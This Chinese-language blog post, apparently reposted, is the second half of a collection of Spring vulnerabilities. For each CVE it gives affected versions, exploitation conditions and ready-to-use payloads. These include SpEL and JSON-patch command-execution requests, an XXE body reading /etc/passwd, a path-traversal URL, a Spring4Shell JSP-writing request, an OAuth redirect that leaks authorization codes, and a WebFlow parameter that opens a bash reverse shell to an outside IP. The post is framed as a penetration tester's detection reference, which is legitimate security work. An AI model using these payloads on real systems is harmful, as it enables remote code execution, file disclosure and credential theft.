前言
现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。
因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。
这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。
此合集由于内容较多,分为上下两部分。
上半部分内容:
- Spring Boot Actuator 相关漏洞
- Sping Boot 相关漏洞
- Spring Cloud 相关漏洞
下半部分内容:
- Spring Data 相关漏洞
- Spring Framework 相关漏洞
- Spring Security 相关漏洞
- Spring WebFlow 相关漏洞
上半部分地址: spring漏洞合集 上
Spring Data 漏洞
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架
(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞
影响范围
- PivotalSpringDataREST2.5.12 之前的版本,2.6.7 之前的版本,3.0RC3 之前的版本
- SpringBoot2.0.0M4 之前版本
- SpringDataKay-RC3 之前的版本
参考文章
http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html
特征
header 头是 Content-Type: application/hal+json;charset=UTF-8
漏洞利用
PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]
必须是Content-Type: application/json-patch+json
op 是 replace 时,payload 后面必须有路径,不然不能触发 具体内容随意
op 是 test 不需要其他路径
漏洞环境
见 vulhub
(CVE-2018-1259)Spring Data xxe 漏洞
影响范围
- Spring Data Commons 1.13-1.13.11 (Ingalls SR11)
- Spring Data REST 2.6-2.6.11 (Ingalls SR11)
- Spring Data Commons 2.0-2.0.6 (Kay SR6)
- Spring Data REST 3.0-3.0.6 (Kay SR6)
测试环境
Spring Data xxe 本地环境
漏洞利用
需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是 firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析 xml 啊
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>
参考链接
https://blog.spoock.com/2018/05/16/cve-2018-1259/
(CVE-2018-1273)Spring Data Commons 组件远程代码执行漏洞
影响范围
- Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
- Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
- Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
- Spring Data REST 3.0 - 3.0.5 (Kay SR5)
复现环境
vulhub
漏洞利用
poc
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
第二种 payload
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
Spring Framework
(CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)
RFD,即 Reflected File Download 反射型文件下载漏洞,是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS,在危害上类似 DDE:攻击者可以通过一个 URL 地址使用户下载一个恶意文件,从而危害用户的终端 PC。
这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal 和其他许多公司认为这是一个中危漏洞。
RFD 漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html
简单来说 鸡肋漏洞
影响范围
- Spring Framework 4.2.0 版本至 4.2.1 版本
- Spring Framework 4.0.0 版本至 4.1.7 版本
- Spring Framework 3.2.0 版本至 3.2.14 版本
- Spring Framework 更早的已不再支持的版本
参考链接
https://xz.aliyun.com/t/8341
(CVE-2020-5398)Spring Framework 反射型文件下载(RFD)
同上
影响范围
- Spring Framework 5.2.0 – 5.2.2
- Spring Framework 5.1.0 – 5.1.12
- Spring Framework 5.0.0 – 5.0.15
(CVE-2020-5421)Spring Framework 反射型文件下载(RFD)
上个漏洞的绕过
影响范围
- Spring Framework 5.2.0 - 5.2.8、5.1.0
- Spring Framework 5.1.17、5.0.0
- Spring Framework 5.0.18、4.3.0
- Spring Framework 4.3.28 以及更早的不受支持的版本
参考链接
https://xz.aliyun.com/t/8341
(CVE-2018-1271)Spring Framework 目录穿越
依然是一个触发条件很苛刻的漏洞
利用条件
- 要使用 file 协议打开资源文件目录
- Windows 平台
- 不能使用 Tomcat 或者 wildfy 等中间件(本环境演示使用的是 jetty 服务器)
payload
http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini
参考链接
https://blog.spoock.com/2018/05/30/cve-2018-1271/
(CVE-2022-22965)Spring Framework 命令执行
核弹级漏洞 但是目前公开出来的利用方式就是 tomcat 环境下写 webshell
影响范围
- Spring Framework < 5.3.18
- Spring Framework < 5.2.20
漏洞环境
vulhub
漏洞复现
vulhub 提供的是直接写入 webshell 的,由于有些目标在验证时不允许写 webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c2: <%
DNT: 1
Content-Length: 2
ps: 这个漏洞只能发送一次 payload 需要重启环境才能再次写入 原因未知
Spring Messaging
(CVE-2018-1270)Spring Messaging 远程命令执行
影响范围
- Spring Java Framework < 5.0
漏洞利用
sockjs 通讯 非 http 协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270
复现环境
vulhub
Spring Security
(CVE-2016-4977)Spring Security OAuth2 远程命令执行
影响范围
- Spring Security OAuth 2.0.0 版本至 2.0.9 版本
- Spring Security OAuth 1.0.0 版本至 1.0.5 版本中
漏洞利用
就是普通的 spel 表达式注入 参数为response_type
复现环境
vulhub
(CVE-2018-1260)Spring Security Oauth2 远程代码执行
影响范围
- Spring Security OAuth 2.3 to 2.3.2
- Spring Security OAuth 2.2 to 2.2.1
- Spring Security OAuth 2.1 to 2.1.1
- Spring Security OAuth 2.0 to 2.0.14
利用方法
spel 表达式注入 无回显 需要 dnslog 漏洞参数scope
payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
参考链接
https://blog.spoock.com/2018/05/13/cve-2018-1260/
(CVE-2019-3778)Spring Security OAuth2 开放重定向
影响范围
- Spring Security OAuth 2.3 to 2.3.4
- Spring Security OAuth 2.2 to 2.2.3
- Spring Security OAuth 2.1 to 2.1.3
- Spring Security OAuth 2.0 to 2.0.16
限制条件
- 有问题的 Spring Security OAuth2 版本
- OAuth 认证使用授权码模式
- 用户需要在登录的情况下
复现环境
漏洞利用
简单来说这个漏洞就是在利用 url 跳转偷认证票据
Blackhat 2019 有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff
,在服务端解析错误后,会将其变成?
,从而达到 url 跳转的目的。
#访问链接
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.xxxx.com%ff@www.baidu.com&scope=all&client_secret=123456
#跳转到http://www.xxxx.com并且在后面追加了认证票据code
http://www.xxxx.com?@www.baidu.com?code=xxxx
参考链接
https://xz.aliyun.com/t/7409
Spring WebFlow
(CVE-2017-4971)Spring WebFlow 远程代码执行
影响范围
Spring WebFlow 2.4.0 - 2.4.4
复现环境
vulhub
复现过程文章来源:https://www.toymoban.com/news/detail-448169.html
# 数据包添加一个带漏洞的参数即可
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx
往期文章
- 对目录扫描工具dirsearch 的一些小改造
- Oneforall 子域名扫描工具分析与改造
- Xpocsutie3:基于 pocsuite3 二次修改的 POC 检测框架
文章来源地址https://www.toymoban.com/news/detail-448169.html
到了这里,关于spring漏洞合集 下的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!